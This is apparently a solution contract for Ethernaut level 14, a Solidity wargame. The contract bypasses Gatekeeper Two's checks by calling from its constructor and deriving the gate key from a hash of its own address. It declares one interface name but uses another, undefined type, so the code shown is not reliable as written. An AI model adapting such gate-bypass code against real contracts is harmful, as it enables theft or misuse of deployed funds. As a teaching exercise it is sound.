Ethernaut - Level 14 - Gatekeeper Two

contracts...GatekeeperTwoAttack.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface GatekeeperTwoInterface {
  function enter(bytes8 _gateKey) external returns (bool);
}

contract GatekeeperTwoAttack {
    GatekeeperTwo public target;
    address public targetAddress = 0x83eEe41AB63d62973bA8E3D3467DDb37bE58F22b;

    constructor() public {
        target = GatekeeperTwo(targetAddress);
        uint64 key = uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ uint64(0) - 1;
        target.enter.gas(50000)(bytes8(key));
    }

    function log() public view returns(uint64, bytes memory, uint64){
        return (uint64(0) - 1, abi.encodePacked(msg.sender), uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))));
    }
}